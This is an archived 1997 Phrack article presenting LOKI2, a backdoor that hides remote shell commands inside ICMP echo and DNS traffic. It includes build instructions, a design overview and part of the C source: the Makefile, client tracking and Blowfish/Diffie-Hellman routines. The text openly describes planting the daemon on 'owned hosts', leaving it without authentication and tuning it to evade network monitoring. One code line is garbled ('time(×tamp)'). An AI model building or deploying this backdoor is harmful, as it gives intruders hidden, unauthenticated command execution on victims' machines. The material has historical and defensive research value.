home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack51.006 < prev    next >
Encoding:
Text File  |  2003-06-11  |  111.6 KB  |  3,371 lines

  1.  
  2. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 06 of 17
  3.  
  4.  
  5. -------------------------[  L O K I 2   (the implementation)
  6.  
  7.  
  8. --------[  daemon9 <route@infonexus.com>
  9.  
  10.  
  11.  
  12. ----[  Introduction
  13.  
  14.  
  15.     This is the companion code to go with the article on covert channels in
  16. network protocols that originally appeared in P49-06.  The article does not
  17. explain the concepts, it only covers the implementation.  Readers desiring more
  18. information are directed to P49-06.
  19.  
  20.     LOKI2 is an information-tunneling program.  It is a proof of concept work
  21. intending to draw attention to the insecurity that is present in many network
  22. protocols.  In this implementation, we tunnel simple shell commands inside of
  23. ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic.  To the
  24. network protocol analyzer, this traffic seems like ordinary benign packets of
  25. the corresponding protocol.  To the correct listener (the LOKI2 daemon)
  26. however, the packets are recognized for what they really are.  Some of the
  27. features offered are: three different cryptography options and on-the-fly
  28. protocol swapping (which is a beta feature and may not be available in your
  29. area).
  30.  
  31.     The vulnerabilities presented here are not new.  They have been known
  32. about and actively exploited for years.  LOKI2 is simply one possible
  33. implementation.  Implementations of similar programs exist for UDP, TCP, IGMP,
  34. etc...  This is by no means limited to type 0 and type 8 ICMP packets.
  35.  
  36.     Before you go ahead and patch owned hosts with lokid, keep in mind that
  37. when linked against the crypto libraries, it is around 70k, with about 16k
  38. alone in the data segment.  It also forks off at least twice per client
  39. request.  This is not a clandestine program.  You want clandestine?
  40. Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it
  41. part of the O/S.
  42.  
  43.  
  44. ----------------------[  BUILDING AND INSTALLATION
  45.  
  46.     Building LOKI2 should be painless.  GNU autoconf was not really needed for
  47. this project;  consequently you may have to edit the Makefile a bit.  This
  48. shouldn't be a problem, becuase you are very smart.
  49.  
  50.  
  51. ----[  I. Edit the toplevel Makefile
  52.  
  53. 1)  Make sure your OS is supported.  As of this distribution, we suppport the
  54.     following (if you port LOKI2 to another architecture, please send me the
  55.     diffs):
  56.  
  57.                 Linux   2.0.x
  58.                 OpenBSD 2.1
  59.                 FreeBSD 2.1.x
  60.                 Solaris 2.5.x
  61.  
  62. 2)  Pick an encryption technology.  STRONG_CRYPTO (DH and Blowfish),
  63.     WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).
  64.  
  65. 3)  If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ.
  66.     You will also need SSLeay (see below).
  67.  
  68. 4)  Chose whether or not to allocate a psudeo terminal (PTY) (may not be
  69.     implemented) or just use popen (POPEN) and use the
  70.     `pipe -> fork -> exec -> sh` sequence to execute commands.
  71.  
  72. 5)  See Net/3 restrictions below and adjust accordingly.
  73.  
  74. 6)  Pausing between sends is a good idea, especially when both hosts are on
  75.     the same Ethernet.  We are dealing with a potentially lossy protocol and
  76.     there is no reliablity layer added as of this version...  SEND_PAUSE
  77.     maintains some order and keeps the daemon from spewing packets too fast.
  78.  
  79.     You can also opt to increase the pause to a consdiderably larger value,
  80.     making the channel harder to track on the part of the netework snooper.
  81.     (This would, of course, necessitate the client to choose an even larger
  82.     MIN_TIMEOUT value.
  83.  
  84. ----[  II. Supplemental librarys
  85.  
  86. 1)  If you are using STRONG_CRYPTO you will need to get the SSLeay crypto
  87.     library, version 0.6.6.  DO NOT get version 0.8.x as it is untested with
  88.     LOKI2.  Hopefully these URLs will not expire anytime soon:
  89.  
  90.             ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
  91.             ftp://ftp.uni-mainz.de/pub/internet/security/ssl
  92.  
  93. 2)  Build and install SSLeay.  If you decide not to install it, Make sure you
  94.     correct the crypto library path LIB_CRYPTO_PATH in the Makefile and
  95.     include paths in loki.h.
  96.  
  97.  
  98.  
  99. ----[  III. Compilation and linking
  100.  
  101. 1)  From the the toplevel directory, `make systemtype`.
  102.  
  103. 2)  This will build and strip the executables.
  104.  
  105.  
  106.  
  107. ----[  IV. Testing
  108.  
  109. 1)  Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`
  110.  
  111. 2)  Start up a client `./loki -d localhost`
  112.  
  113. 3)  Issue an `ls`.
  114.  
  115. 4)  You should see a short listing of the root directory.
  116.  
  117. 5)  Yay.
  118.  
  119. 6) For real world testing, install the daemon on a remote machine and go to
  120.    town.  See below for potential problems.
  121.  
  122.  
  123. ----[  V. Other Options
  124.  
  125.     The loki.h header file offers a series of configurable options.
  126.  
  127. MIN_TIMEOUT is the minimum amount of time in whole seconds the client will
  128.             wait for a response from the server before the alarm timer goes off.
  129.  
  130. MAX_RETRAN  (STRONG_CRYPTO only) is the maximum amount of time in whole
  131.             seconds the client will retransmit its initial public key
  132.             handshaking packets before giving up.  This feature will be
  133.             deprecated when a reliability layer is added.
  134.  
  135. MAX_CLIENT  is the maximum amount of clients the server will accept and
  136.             service concurrently.
  137.  
  138. KEY_TIMER   is the maximum amount of time in whole seconds an idle client
  139.             entry will be allowed to live in the servers database.  If this
  140.             amount of time has elapsed, all entries in the servers client
  141.             database that have been inactive for KEY_TIMER seconds will be
  142.             removed.  This provides the server with a simple way to clean up
  143.             resources from crashed or idle clients.
  144.  
  145.  
  146.  
  147. ----------------------[  LOKI2 CAVEATS AND KNOWN BUGS
  148.  
  149.  Net/3 Restrictions
  150.  
  151.     Under Net/3, processes interested in receiving ICMP messages must register
  152. with the kernel in order to get these messages.  The kernel will then pass
  153. all ICMP messages to these registered listeners, EXCEPT for damaged ICMP
  154. packets and request packets.  Net/3 TCP/IP implementations will not pass ICMP
  155. request messages of any kind to any registered listeners.  This is a problem
  156. if we are going to be using ICMP_ECHO (a request type packet) and want it to
  157. be directly passed to our user-level program (lokid).  We can get around this
  158. restriction by inverting the flow of the transactions.  We send ICMP_ECHOREPLYs
  159. and elicit ICMP_ECHOs.
  160.  
  161.     Note, that under Linux, we do not have this probem as ALL valid ICMP
  162. packets are delivered to user-level processes.  If the daemon is installed on
  163. a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of
  164. tunneling.  Compile with -DNET3 according to this chart:
  165.  
  166.        | Client  |
  167. -----------------------------------------------------
  168. Daemon | ------- |   Linux  |   *bsd*   |   Solaris |
  169. -----------------------------------------------------
  170.        | Linux   |   no     |    yes    |   yes     |
  171.        | *bsd*   |   no     |    yes    |   yes     |
  172.        | Solaris |   no     |    opt    |   opt     |
  173.  
  174.  
  175.  The Initialization Vector
  176.  
  177.     When using Strong Crypto, the initialization vector (ivec) incrementation
  178. is event based.  Every time a packet is sent by the client the client ivec is
  179. incremented, and, every time a packet is received by the server, the server
  180. side ivec is also incremented.  This is fine if both ends stay in sync with
  181. each other.  However, we are dealing with a potentially lossy protocol.  If
  182. a packet from the client to the server is dropped, the ivecs become desynched,
  183. and the client can no longer communicate with the server.
  184.  
  185.     There are two easy ways to deal with this.  One would be to modify the ivec
  186. permutation routine to be time-vector based, having the ivecs increase as time
  187. goes by.  This is problematic for several reasons.  Initial synchronization
  188. would be difficult, especially on different machine architectures with
  189. different clock interrupt rates.  Also, we would also have to pick a
  190. relatively small time interval for ivec permutations to be effective on fast
  191. networks, and the smaller the ivec time differential is, the more the protocol
  192. would suffer from clock drift (which is actually quite considerable).
  193.  
  194.  
  195.  Protocol Swaping
  196.  
  197.     Swapping protocols is broken in everything but Linux.  I think it has
  198. something to do with the Net/3 socket semantics.  This is probably just a bug
  199. I need to iron out.  Quite possibly something I did wrong.  *shrug*...
  200. Nevermind the fact that the server isn't doing any synchronous I/O multiplexing,
  201. consequently, swapping protocols requires a socket change on everone's part.
  202. This is why this feature is 'beta'.
  203.  
  204.  
  205.  Authentication
  206.  
  207.     Um, well, there is none.  Any client can connect to the server, and any
  208. client can also cause the server to shut down.  This is actually not a bug or
  209. a caveat.  It is intentional.
  210.  
  211.  
  212.  I/O
  213.  
  214.     Should be done via select.
  215.  
  216. ----------------------[  TODO LIST
  217.  
  218. - possible time vector-based ivec permutation instead of event-based as event
  219.   based is prone to synch failures, OR, even better, a reliability layer.
  220.  
  221.  
  222.  
  223. ----[  The technologies
  224.  
  225.  
  226. ----------------------[  SYMMETRIC BLOCK CIPHER
  227.  
  228.     A symmetric cipher is one that uses the same key for encryption and
  229. decryption, or the decryption key is easily derivable from the encryption key.
  230. Symmetric ciphers tend to be fast and well suited for bulk encryption, but
  231. suffer from woeful key distribution problems.  A block cipher is simply one
  232. that encrypts data in blocks (usually 64-bits).  The symmetric block cipher
  233. employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.
  234.  
  235.  
  236. ----------------------[  CFB MODE
  237.  
  238.     Symmetric block ciphers can be implemented as self-synchronizing stream
  239. ciphers.  This is especially useful for data that is not suitable for padding
  240. or when data needs to processed in byte-sized chunks.  In CFB mode, data is
  241. encrypted in units smaller then the block size.  In our case, each encryption
  242. of the 64-bit block cipher encrypts 8-bits of plaintext.  The initialization
  243. vector, which is used to seed the process, must be unique but not secret.  We
  244. use every 3rd byte of the symmetric key for our IV.  The IV must change for
  245. each message, to do this, we simply increment it as packets are generated.
  246.  
  247.  
  248. ----------------------[  BLOWFISH
  249.  
  250.     Blowfish is a variable key length symmetric cipher designed by Bruce
  251. Schneier.  It is a portable, free, fast, strong algorithm.
  252. It offers a key length of up to 448-bits, however, for LOKI2 we use
  253. a 128-bit key.
  254.  
  255.  
  256. ----------------------[  ASYMMETRIC CIPHER
  257.  
  258.     An asymmetric cipher makes use of two keys, coventionally called the
  259. private key and public key.  These two keys are mathematically related such
  260. that messages encrypted with one, can only be decrypted by the other.  It
  261. is also infeasible to derive one key from the other.  Asymmetric ciphers solve
  262. the problem of key management by negating the need for a shared secret, however
  263. they are much slower the symmetric ciphers.  The perfect world in this case
  264. is a hybrid system, using both a symmetric cipher for key exchange and a
  265. symmetric cipher for encryption.  This is the scheme employed in LOKI2.
  266.  
  267.  
  268. ---------------------[  DIFFIE - HELLMAN
  269.  
  270.     In 1976, Whitfield Diffie and Marty Hellman came forth with the first
  271. asymmetric cipher (DH).  DH cannot be used for encryption, only for symmetric
  272. key exchange.  The strength of DH relies on the apparent difficulty in
  273. computing discrete logarithms in a finite field.  DH generates a shared secret
  274. based off of 4 components:
  275.  
  276.     P           the public prime
  277.     g           the public generator
  278.     c{x, X}     the client's private/public keypair
  279.     s{y, Y}     the server's private/public keypair
  280.     SS          the shared secret (from the which the key is extracted)
  281.  
  282. The protocol for secret generation is simple:
  283.  
  284.         Client                          Server
  285.         ------                          ------
  286. 1)    X = g ^ x mod P
  287. 2)                           X -->
  288. 3)                                    Y = g ^ y mod P
  289. 4)                       <-- Y
  290. 5)    SS = Y ^ x mod P                SS = X ^ y mod P
  291.  
  292.  
  293. ----------------------[  NETWORK FLOW
  294.  
  295.     L O K I 2
  296.     Covert channel implementation for Unix
  297.     ----------------------------------------------------------------------
  298.                                                 daemon9|route [guild 1997]
  299.   ----------------
  300.   | LOKI2 CLIENT |
  301.   ----------------           -----------------------------------
  302.    ^      |  sendto()        |  FIRST GENERATION LOKI2 DAEMON  |
  303.    |      |                  -----------------------------------
  304.    |      |  client sends     |  shadow()     server forks
  305.    |      |  data             v
  306.    |      v                   |
  307.    |      |               -----
  308.    |      |               |
  309.    |      |               |
  310.    |      |               v fork()
  311.    |      |             -----
  312.    |      |            C|   |P
  313.    |      v             |   |
  314.    |      |             |   ----> clean_exit()          parent exits
  315.    |      |             |
  316.    |      |             |  2nd generation child daemon becomes leader of a new
  317.    |      |             |  session, handles initial network requests
  318.    ^      |             |
  319.    |      |             v
  320.    |      |            ------------------------------
  321.    |      -----------> |  SECOND GENERATION DAEMON  | read()    blocks until
  322.    |      LOKI2        ------------------------------           data arrives
  323.    |      network             |          ^
  324.    |      traffic             |          |
  325.    |                          |          |
  326.    -------<----               |          |
  327.               |               |          |
  328.               |               |          |
  329.               |               |          |
  330.               |               v fork()   |
  331.               |             -----        |
  332.               ^            C|   |P       |
  333.               |             |   |        | parent continues
  334.               |             |   --->------
  335.               |             |
  336.               |             |  3rd generation daemon handles client request
  337.               |             v
  338.               |     -----------------------------
  339.               --<---|  THIRD GENERATION DAEMON  |
  340.                     -----------------------------
  341.                         switch(PACKET_TYPE)
  342.  
  343.                     L_PK_REQ:             L_REQ:
  344.                      STRONG_CRYPTO           POPEN
  345.                      key management    PTY     |
  346.                                         |     pipe()  <---------
  347.                                         |      |               |
  348.      -------<--------------------<------       |               |
  349.      |                                      ----               |
  350.      |                                      |                  |
  351.      |                                      v fork()           |
  352.      v                                    -----                |
  353.   Unimplemented (7.97)                   C|   |P               |
  354.                                           |   |                ^
  355.                                           |   ----> exit()     |
  356.                                           |                    |
  357.                  4th generation child     |     ---->------->---
  358.                  daemon execs commands    v     |
  359.                       ------------------------------
  360.                       |  FOURTH GENERATION DAEMON  |  exec()     4g child execs
  361.                       ------------------------------             command in
  362.                         STDOUT of command                        /bin/sh
  363.                         to client via pipe
  364.  
  365.  
  366.  
  367. ----------------------[  THANKS
  368.  
  369.     snocrash for being sno,
  370.     nirva for advice and help and the use of his FreeBSD machine,
  371.     mycroft for advice and the use of his Solaris machine,
  372.     alhambra for being complacent,
  373.     Craig Nottingham for letting me borrow some nomenclature,
  374.     truss and strace for being indespensible tools of the trade,
  375.  
  376.     Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and
  377.     technique.
  378.  
  379.  
  380. ----------------------[  THE SOURCE
  381.  
  382.     Whelp, here it is.  Extract the code from the article using one of the
  383. included extraction utilities.
  384.  
  385. <++> L2/Makefile
  386. # Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997
  387. # route (c) 1997 Guild Corporation, Worldwide
  388.  
  389.  
  390. ######
  391. #   Choose a cryptography type
  392. #
  393.  
  394. CRYPTO_TYPE         =   WEAK_CRYPTO         # XOR
  395. #CRYPTO_TYPE         =   NO_CRYPTO           # Plaintext
  396. #CRYPTO_TYPE         =   STRONG_CRYPTO       # Blowfish and DH
  397.  
  398.  
  399. ######
  400. #   If you want STRONG_CRYPTO, uncomment the following (and make sure you have
  401. #   SSLeay)
  402.  
  403. #LIB_CRYPTO_PATH     =   /usr/local/ssl/lib/
  404. #CLIB                 =   -L$(LIB_CRYPTO_PATH) -lcrypto
  405. #MD5_OBJ              =   md5/md5c.o
  406.  
  407.  
  408. ######
  409. #   Choose a child process handler type
  410. #
  411.  
  412. SPAWN_TYPE           =   POPEN
  413. #SPAWN_TYPE          =   PTY
  414.  
  415.  
  416. ######
  417. #   It is safe to leave this alone.
  418. #
  419.  
  420. NET3                   =   #-DNET3
  421. SEND_PAUSE           =   SEND_PAUSE=100
  422. DEBUG                   =   #-DDEBUG
  423. #----------------------------------------------------------------------------#
  424.  
  425.  
  426. i_hear_a_voice_from_the_back_of_the_room:
  427.     @echo
  428.     @echo "LOKI2 Makefile"
  429.     @echo "Edit the Makefile and then invoke with one of the following:"
  430.     @echo
  431.     @echo "linux openbsd freebsd solaris    clean"
  432.     @echo
  433.     @echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
  434.     @echo
  435.  
  436. linux:
  437.     @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE)                       \
  438.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  439.     FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
  440.  
  441. openbsd:
  442.     @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
  443.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  444.     FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
  445.  
  446. freebsd:
  447.     @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
  448.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  449.     FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all
  450.  
  451. solaris:
  452.     @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE)                     \
  453.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  454.     LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all
  455.  
  456. CFLAGS        = -Wall -O6 -finline-functions -funroll-all-loops $(OS)     \
  457.         $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK)    \
  458.         $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)
  459.  
  460. CC        =   gcc
  461. C_OBJS            =   surplus.o crypt.o
  462. S_OBJS            =   client_db.o shm.o surplus.o crypt.o pty.o
  463.  
  464.  
  465. .c.o:
  466.     $(CC) $(CFLAGS) -c $< -o $@
  467.  
  468. all:    $(MD5_OBJ) loki
  469.  
  470. md5obj: md5/md5c.c
  471.     @( cd md5; make )
  472.  
  473. loki:    $(C_OBJS) loki.o $(S_OBJS) lokid.o
  474.     $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
  475.     $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
  476.     @(strip loki lokid)
  477.  
  478. clean:
  479.     @( rm -fr *.o loki lokid )
  480.     @( cd md5; make clean )
  481.  
  482. dist:    clean
  483.     @( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
  484. <--> Makefile
  485. <++> L2/client_db.c
  486. /*
  487.  * LOKI2
  488.  *
  489.  * [ client_db.c ]
  490.  *
  491.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  492.  */
  493.  
  494.  
  495. #include "loki.h"
  496. #include "shm.h"
  497. #include "client_db.h"
  498.  
  499. extern struct loki rdg;
  500. extern int verbose;
  501. extern int destroy_shm;
  502. extern struct client_list *client;
  503. extern u_short c_id;
  504.  
  505. #ifdef  STRONG_CRYPTO
  506. extern short ivec_salt;
  507. extern u_char user_key[BF_KEYSIZE];
  508. #endif
  509. #ifdef  PTY
  510. extern int mfd;
  511. #endif
  512.  
  513. /*
  514.  *  The server maintains an array of active client information.  This
  515.  *  function simply steps through the structure array and attempts to add
  516.  *  an entry.
  517.  */
  518.  
  519. int add_client(u_char *key)
  520. {
  521.     int i = 0, emptyslot = -1;
  522. #ifdef  PTY
  523.     char p_name[BUFSIZE] = {0};
  524. #endif
  525.  
  526.     locks();
  527.     for (; i < MAX_CLIENT; i++)
  528.     {
  529.         if (IS_GOOD_CLIENT(rdg))
  530.         {                               /* Check for duplicate entries
  531.                                          * (which are to be expected when
  532.                                          * not using STRONG_CRYPTO)
  533.                                          */
  534. #ifdef STRONG_CRYPTO
  535.             if (verbose) fprintf(stderr, S_MSG_DUP);
  536. #endif
  537.             emptyslot = i;
  538.             break;
  539.         }                               /* tag the first empty slot found */
  540.         if ((!(client[i].client_id))) emptyslot = i;
  541.     }
  542.     if (emptyslot == -1)
  543.     {                                   /* No empty array slots */
  544.         if (verbose) fprintf(stderr, "\nlokid: Client database full");
  545.         ulocks();
  546.         return (NNOK);
  547.     }
  548.                                         /* Initialize array with client info */
  549.     client[emptyslot].touchtime         = time((time_t *)NULL);
  550.     if (emptyslot != i){
  551.         client[emptyslot].client_id     = c_id;
  552.         client[emptyslot].client_ip     = rdg.iph.ip_src;
  553.         client[emptyslot].packets_sent  = 0;
  554.         client[emptyslot].bytes_sent    = 0;
  555.         client[emptyslot].hits          = 0;
  556. #ifdef  PTY
  557.         client[emptyslot].pty_fd        = 0;
  558. #endif
  559.     }
  560. #ifdef  STRONG_CRYPTO
  561.                                         /* copy unset bf key and set salt */
  562.     bcopy(key, client[emptyslot].key, BF_KEYSIZE);
  563.     client[emptyslot].ivec_salt         = 0;
  564. #endif
  565.     ulocks();
  566.     return (emptyslot);
  567. }
  568.  
  569.  
  570. /*
  571.  *  Look for a client entry in the client database.  Either copy the clients
  572.  *  key into user_key and update timestamp, or clear the array entry,
  573.  *  depending on the disposition of the call.
  574.  */
  575.  
  576. int locate_client(int disposition)
  577. {
  578.     int i = 0;
  579.  
  580.     locks();
  581.     for (; i < MAX_CLIENT; i++)
  582.     {
  583.         if (IS_GOOD_CLIENT(rdg))
  584.         {
  585.             if (disposition == FIND)    /* update timestamp */
  586.             {
  587.                 client[i].touchtime = time((time_t *)NULL);
  588. #ifdef STRONG_CRYPTO
  589.                                         /* Grab the key */
  590.                 bcopy(client[i].key, user_key, BF_KEYSIZE);
  591. #endif
  592.             }
  593.                                         /* Remove entry */
  594.             else if (disposition == DESTROY)
  595.                 bzero(&client[i], sizeof(client[i]));
  596.             ulocks();
  597.             return (i);
  598.         }
  599.     }
  600.     ulocks();                           /* Didn't find the client */
  601.     return (NNOK);
  602. }
  603.  
  604.  
  605. /*
  606.  *  Fill a string with current stats about a particular client.
  607.  */
  608.  
  609. int stat_client(int entry, u_char *buf, int prot, time_t uptime)
  610. {
  611.  
  612.     int n = 0;
  613.     time_t now = 0;
  614.     struct protoent *proto = 0;
  615.                                         /* locate_client didn't find an
  616.                                          * entry
  617.                                          */
  618.     if (entry == NNOK)
  619.     {
  620.  fprintf(stderr, "DEBUG: stat_client nono\n");
  621.         return (NOK);
  622.     }
  623.     n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
  624.     n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));
  625.  
  626.     proto = getprotobynumber(prot);
  627.     n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
  628.     n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
  629.     time(&now);
  630.     n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);
  631.  
  632.     locks();
  633.     n += sprintf(&buf[n], "client ID:\t\t%d\n",      client[entry].client_id);
  634.     n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
  635.     n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
  636.     n += sprintf(&buf[n], "requests:\t\t%d\n",       client[entry].hits);
  637.     ulocks();
  638.  
  639.     return (n);
  640. }
  641.  
  642. /*
  643.  *  Unsets alarm timer, then calls age_client, then resets signal handler
  644.  *  and alarm timer.
  645.  */
  646.  
  647. void client_expiry_check(){
  648.  
  649.     alarm(0);
  650.     age_client();
  651.                                             /* re-establish signal handler */
  652.     if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
  653.         err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");
  654.  
  655.     alarm(KEY_TIMER);
  656. }
  657.  
  658.  
  659. /*
  660.  *  This function is called every KEY_TIMER interval to sweep through the
  661.  *  client list.  It zeros any entrys it finds that have not been accessed
  662.  *  in KEY_TIMER seconds.  This gives us a way to free up entries from clients
  663.  *  which may have crashed or lost their QUIT_C packet in transit.
  664.  */
  665.  
  666. void age_client()
  667. {
  668.  
  669.     time_t timestamp = 0;
  670.     int i = 0;
  671.  
  672.     time(×tamp);
  673.     locks();
  674.     for (; i < MAX_CLIENT; i++)
  675.     {
  676.         if (client[i].client_id)
  677.         {
  678.             if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
  679.             {
  680.                 if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i);
  681.                 bzero(&client[i], sizeof(client[i]));
  682. #ifdef STRONG_CRYPTO
  683.                 ivec_salt = 0;
  684. #endif
  685.             }
  686.         }
  687.     }
  688.     ulocks();
  689. }
  690.  
  691.  
  692. /*
  693.  *  Update the statistics for client.
  694.  */
  695.  
  696. void update_client(int entry, int pcount, u_long bcount)
  697. {
  698.     locks();
  699.     client[entry].touchtime      = time((time_t *)NULL);
  700.     client[entry].packets_sent  += pcount;
  701.     client[entry].bytes_sent    += bcount;
  702.     client[entry].hits          ++;
  703.     ulocks();
  704. }
  705.  
  706.  
  707. /*
  708.  *  Returns the IP address and ID of the targeted entry
  709.  */
  710.  
  711. u_long check_client_ip(int entry, u_short *id)
  712. {
  713.     u_long ip = 0;
  714.  
  715.     locks();
  716.     if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
  717.     ulocks();
  718.  
  719.     return (ip);
  720. }
  721.  
  722. #ifdef STRONG_CRYPTO
  723.  
  724. /*
  725.  *  Update and return the IV salt for the client
  726.  */
  727.  
  728. u_short update_client_salt(int entry)
  729. {
  730.  
  731.     u_short salt = 0;
  732.  
  733.     locks();
  734.     salt = ++client[entry].ivec_salt;
  735.     ulocks();
  736.  
  737.     return (salt);
  738. }
  739.  
  740. #endif  /* STRONG_CRYPTO */
  741.  
  742.  
  743. /* EOF */
  744. <--> client_db.c
  745. <++> L2/client_db.h
  746. /*
  747.  * LOKI
  748.  *
  749.  * client_db header file
  750.  *
  751.  *  1996/7 Guild Corporation Productions    [daemon9]
  752.  */
  753.  
  754.  
  755. /*
  756.  *  Client info list.
  757.  *  MAX_CLIENT of these will be kept in a server-side array
  758.  */
  759.  
  760. struct client_list
  761. {
  762. #ifdef  STRONG_CRYPTO
  763.     u_char key[BF_KEYSIZE];             /* unset bf key                     */
  764.     u_short ivec_salt;                  /* the IV salter                    */
  765. #endif
  766.     u_short client_id;                  /* client loki_id                   */
  767.     u_long client_ip;                   /* client IP address                */
  768.     time_t  touchtime;                  /* last time entry was hit          */
  769.     u_long packets_sent;                /* Packets sent to this client      */
  770.     u_long bytes_sent;                  /* Bytes sent to this client        */
  771.     u_int hits;                         /* Number of queries from client    */
  772. #ifdef  PTY
  773.     int pty_fd;                         /* Master PTY file descriptor       */
  774. #endif
  775. };
  776.  
  777. #define IS_GOOD_CLIENT(ldg)\
  778. \
  779. (c_id           == client[i].client_id   &&  \
  780.  ldg.iph.ip_src == client[i].client_ip)  >   \
  781.                              (0) ? (1) : (0) \
  782.  
  783. void update_client(int, int, u_long);   /* Update a client entry            */
  784.                                         /* client info into supplied buffer */
  785. int stat_client(int, u_char *, int, time_t);
  786. int add_client(u_char *);               /* add a client entry               */
  787. int locate_client(int);                 /* find a client entry              */
  788. void age_client(void);                  /* age a client from the list       */
  789. u_short update_client_salt(int);        /* update and return salt           */
  790. u_long check_client_ip(int, u_short *); /* return ip and id of target       */
  791. <--> client_db.h
  792. <++> L2/crypt.c
  793. /*
  794.  * LOKI2
  795.  *
  796.  * [ crypt.c ]
  797.  *
  798.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  799.  */
  800.  
  801.  
  802. #include "loki.h"
  803. #include "crypt.h"
  804. #include "md5/global.h"
  805. #include "md5/md5.h"
  806.  
  807. #ifdef STRONG_CRYPTO
  808. u_char user_key[BF_KEYSIZE];                /* unset blowfish key */
  809. BF_KEY bf_key;                              /* set key */
  810. volatile u_short ivec_salt = 0;
  811.  
  812.  
  813. /*
  814.  *  Blowfish in cipher-feedback mode.  This implements blowfish (a symmetric
  815.  *  cipher) as a self-synchronizing stream cipher.  The initialization
  816.  *  vector (the initial dummy cipher-text block used to seed the encryption)
  817.  *  need not be secret, but it must be unique for each encryption.  I fill
  818.  *  the ivec[] array with every 3rd key byte incremented linear-like via
  819.  *  a global encryption counter (which must be synced in both client and
  820.  *  server).
  821.  */
  822.  
  823. void blur(int m, int bs, u_char *t)
  824. {
  825.  
  826.     int i = 0, j = 0, num      = 0;
  827.     u_char ivec[IVEC_SIZE + 1] = {0};
  828.  
  829.     for (; i < BF_KEYSIZE; i += 3)         /* fill in IV */
  830.         ivec[j++] = (user_key[i] + (u_char)ivec_salt);
  831.     BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
  832. }
  833.  
  834.  
  835. /*
  836.  *  Generate DH keypair.
  837.  */
  838.  
  839. DH* generate_dh_keypair()
  840. {
  841.  
  842.     DH *dh = NULL;
  843.                                         /* Initialize the DH structure */
  844.     dh = DH_new();
  845.                                         /* Convert the prime into BIGNUM */
  846.     (BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
  847.                                         /* Create a new BIGNUM */
  848.     (BIGNUM *)(dh -> g) = BN_new();
  849.                                         /* Set the DH generator */
  850.     BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
  851.                                         /* Generate the key pair */
  852.     if (!DH_generate_key(dh)) return ((DH *)NULL);
  853.  
  854.     return(dh);
  855. }
  856.  
  857.  
  858. /*
  859.  *  Extract blowfish key from the DH shared secret.  A simple MD5 hash is
  860.  *  perfect as it will return the 16-bytes we want, and obscure any possible
  861.  *  redundancies or key-bit leaks in the DH shared secret.
  862.  */
  863.  
  864.  
  865. u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
  866. {
  867.  
  868.     u_char digest[MD5_HASHSIZE];
  869.     unsigned len = BN2BIN_SIZE;
  870.     MD5_CTX context;
  871.                                         /* initialize MD5 (loads magic context
  872.                                          * constants)
  873.                                          */
  874.     MD5Init(&context);
  875.                                         /* MD5 hashing */
  876.     MD5Update(&context, dh_shared_secret, len);
  877.                                         /* clean up of MD5 */
  878.     MD5Final(digest, &context);
  879.     bcopy(digest, user_key, BF_KEYSIZE);
  880.                                         /* In the server we dunot set the key
  881.                                          * right away; they are set when they
  882.                                          * are nabbed from the client list.
  883.                                          */
  884.     if (set_bf == OK)
  885.     {
  886.         BF_set_key(&bf_key, BF_KEYSIZE, user_key);
  887.         return ((u_char *)NULL);
  888.     }
  889.     else return (strdup(user_key));
  890. }
